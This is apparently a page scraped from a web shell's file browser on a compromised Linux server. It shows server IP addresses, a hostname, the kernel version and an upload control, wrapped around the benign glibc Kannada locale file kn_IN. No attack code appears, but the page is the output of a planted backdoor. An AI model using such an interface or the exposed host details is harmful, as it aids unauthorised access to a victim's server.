ҳ̸Ҳ̸ҳ Rabiza Ekel ҳ̸Ҳ̸ҳ
:
18.218.153.50
:
47.103.87.29 / bstest.wagas.com.cn
:
Linux Wagas-WebServer 3.10.0-1160.11.1.el7.x86_64 #1 SMP Fri Dec 18 16:34:56 UTC 2020 x86_64
:
/
usr
/
share
/
i18n
/
locales
/
Upload File:
files >> /usr/share/i18n/locales/kn_IN
comment_char % escape_char / % Kannada language locale for India. % Copied fron hi_IN one, G Karunakar <karunakar@freedomink.org> . Kannada Translations by Arun Sharma <arun@sharma-home.net> % *** Below just modify to suit your language. I have modified for Kannada % *** other language codes - Gujarati - gu, Punjabi - pa, Oriya - or LC_IDENTIFICATION title "Kannada language locale for India" source "IndLinux.org" address "" contact "" email "bug-glibc-locales@gnu.org" tel "" fax "" language "Kannada" territory "India" revision "0.1" date "2002-11-28" % category "kn_IN:2000";LC_IDENTIFICATION category "kn_IN:2000";LC_CTYPE category "kn_IN:2000";LC_COLLATE category "kn_IN:2000";LC_TIME category "kn_IN:2000";LC_NUMERIC category "kn_IN:2000";LC_MONETARY category "kn_IN:2000";LC_MESSAGES category "kn_IN:2000";LC_PAPER category "kn_IN:2000";LC_NAME category "kn_IN:2000";LC_ADDRESS category "kn_IN:2000";LC_TELEPHONE END LC_IDENTIFICATION LC_CTYPE copy "i18n" % Kannada uses the alternate digits U+0CE6..U+0CEF outdigit <U0CE6>..<U0CEF> % This is used in the scanf family of functions to read Kannada numbers % using "%Id" and such. map to_inpunct; / (<U0030>,<U0CE6>); / (<U0031>,<U0CE7>); / (<U0032>,<U0CE8>); / (<U0033>,<U0CE9>); / (<U0034>,<U0CEA>); / (<U0035>,<U0CEB>); / (<U0036>,<U0CEC>); / (<U0037>,<U0CED>); / (<U0038>,<U0CEE>); / (<U0039>,<U0CEF>); translit_start include "translit_combining";"" translit_end END LC_CTYPE LC_COLLATE % Copy the template from ISO/IEC 14651 copy "iso14651_t1" END LC_COLLATE LC_MONETARY % This is the POSIX Locale definition the LC_MONETARY category. % These are generated based on XML base Locale definition file % for IBM Class for Unicode/Java % int_curr_symbol "<U0049><U004E><U0052><U0020>" currency_symbol "<U20B9>" mon_decimal_point "<U002E>" mon_thousands_sep "<U002C>" mon_grouping 3 positive_sign "" negative_sign "<U002D>" int_frac_digits 2 frac_digits 2 p_cs_precedes 1 p_sep_by_space 1 n_cs_precedes 1 n_sep_by_space 1 p_sign_posn 1 n_sign_posn 1 % END LC_MONETARY LC_NUMERIC copy "hi_IN" END LC_NUMERIC % *** Modify them for Kannada - eg write down on paper - see what all unicode % *** characters are needed, look up their codes & put them here - Kannada LC_TIME % This is the POSIX Locale definition for the LC_TIME category. % These are generated based on XML base Locale definition file % for IBM Class for Unicode/Java % % Abbreviated weekday names (%a) abday "<U0CB0>";/ "<U0CB8><U0CCB>";/ "<U0CAE><U0C82>";/ "<U0CAC><U0CC1>";/ "<U0C97><U0CC1>";/ "<U0CB6><U0CC1>";/ "<U0CB6>" % % Full weekday names (%A) day "<U0CB0><U0CB5><U0CBF><U0CB5><U0CBE><U0CB0>";/ "<U0CB8><U0CCB><U0CAE><U0CB5><U0CBE><U0CB0>";/ "<U0CAE><U0C82><U0C97><U0CB3><U0CB5><U0CBE><U0CB0>";/ "<U0CAC><U0CC1><U0CA7><U0CB5><U0CBE><U0CB0>";/ "<U0C97><U0CC1><U0CB0><U0CC1><U0CB5><U0CBE><U0CB0>";/ "<U0CB6><U0CC1><U0C95><U0CCD><U0CB0><U0CB5><U0CBE><U0CB0>";/ "<U0CB6><U0CA8><U0CBF><U0CB5><U0CBE><U0CB0>" % % Abbreviated month names (%b) abmon "<U0C9C>";/ "<U0CAB><U0CC6>";/ "<U0CAE><U0CBE>";/ "<U0C8F>";/ "<U0CAE><U0CC7>";/ "<U0C9C><U0CC2>";/ "<U0C9C><U0CC1>";/ "<U0C86>";/ "<U0CB8><U0CC6>";/ "<U0C85>";/ "<U0CA8>";/ "<U0CA6>" % % Full month names (%B) mon "<U0C9C><U0CA8><U0CB5><U0CB0><U0CBF>";/ "<U0CAB><U0CC6><U0CAC><U0CCD><U0CB0><U0CB5><U0CB0><U0CBF>";/ "<U0CAE><U0CBE><U0CB0><U0CCD><U0C9A>";/ "<U0C8F><U0CAA><U0CCD><U0CB0><U0CBF><U0CB2><U0CCD>";/ "<U0CAE><U0CC7>";/ "<U0C9C><U0CC2><U0CA8><U0CCD>";/ "<U0C9C><U0CC1><U0CB2><U0CBE><U0CAF><U0CBF>";/ "<U0C86><U0C97><U0CB8><U0CCD><U0CA4><U0CC1>";/ "<U0CB8><U0CC6><U0CAA><U0CCD><U0C9F><U0CC6><U0C82><U0CAC><U0CB0>";/ "<U0C85><U0C95><U0CCD><U0CA4><U0CC2><U0CAC><U0CB0>";/ "<U0CA8><U0CB5><U0CC6><U0C82><U0CAC><U0CB0>";/ "<U0CA6><U0CB6><U0C82><U0CAC><U0CB0>" % % Equivalent of AM PM am_pm "<U0CAA><U0CC2><U0CB0><U0CCD><U0CB5><U0CBE><U0CB9><U0CCD><U0CA8>";/ "<U0C85><U0CAA><U0CB0><U0CBE><U0CB9><U0CCD><U0CA8>" % *** There arent any Devanagari characters below, so for time being % *** maintain same for Kannada also, Karunakar % % Appropriate date and time representation % %A %d %b %Y%I:%M:%S %Z d_t_fmt "<U0025><U0041><U0020><U0025><U0064><U0020><U0025><U0062>/ <U0020><U0025><U0059><U0020><U0025><U0049><U003A><U0025><U004D><U003A>/ <U0025><U0053><U0020><U0025><U0070><U0020><U0025><U005A>" % % Appropriate date representation % %A %d %b %Y d_fmt "<U0025><U0041><U0020><U0025><U0064><U0020><U0025><U0062>/ <U0020><U0025><U0059>" % % Appropriate time representation % %I:%M:%S %Z t_fmt "<U0025><U0049><U003A><U0025><U004D><U003A><U0025><U0053>/ <U0020><U0020><U0025><U005A>" % % Appropriate 12 h time representation (%r) t_fmt_ampm "<U0025><U0049><U003A><U0025><U004D><U003A><U0025><U0053>/ <U0020><U0025><U0070><U0020><U0025><U005A>" % date_fmt "<U0025><U0061><U0020><U0025><U0062><U0020><U0025><U0065>/ <U0020><U0025><U0048><U003A><U0025><U004D><U003A><U0025><U0053><U0020>/ <U0025><U005A><U0020><U0025><U0059>" END LC_TIME LC_MESSAGES yesexpr "<U005E><U005B><U0079><U0059><U005D><U002E><U002A>" noexpr "<U005E><U005B><U006E><U004E><U005D><U002E><U002A>" END LC_MESSAGES LC_PAPER copy "hi_IN" END LC_PAPER LC_NAME % This is the ISO_IEC TR14652 Locale definition for the % LC_NAME category. % name_fmt "<U0025><U0070><U0025><U0074><U0025><U0066><U0025><U0074>/ <U0025><U0067>" name_gen "" name_mr "<U004D><U0072><U002E>" name_mrs "<U004D><U0072><U0073><U002E>" name_miss "<U004D><U0069><U0073><U0073><U002E>" name_ms "<U004D><U0073><U002E>" END LC_NAME LC_ADDRESS % This is the ISO_IEC TR14652 Locale definition for the % LC_ADDRESS postal_fmt "<U0025><U007A><U0025><U0063><U0025><U0054><U0025><U0073>/ <U0025><U0062><U0025><U0065><U0025><U0072>" country_ab2 "<U0049><U004E>" country_ab3 "<U0049><U004E><U0044>" country_num 356 END LC_ADDRESS LC_TELEPHONE copy "hi_IN" END LC_TELEPHONE LC_MEASUREMENT copy "hi_IN" END LC_MEASUREMENT
ҳ̸Ҳ̸ҳ Rabiza Ekel ҳ̸Ҳ̸ҳ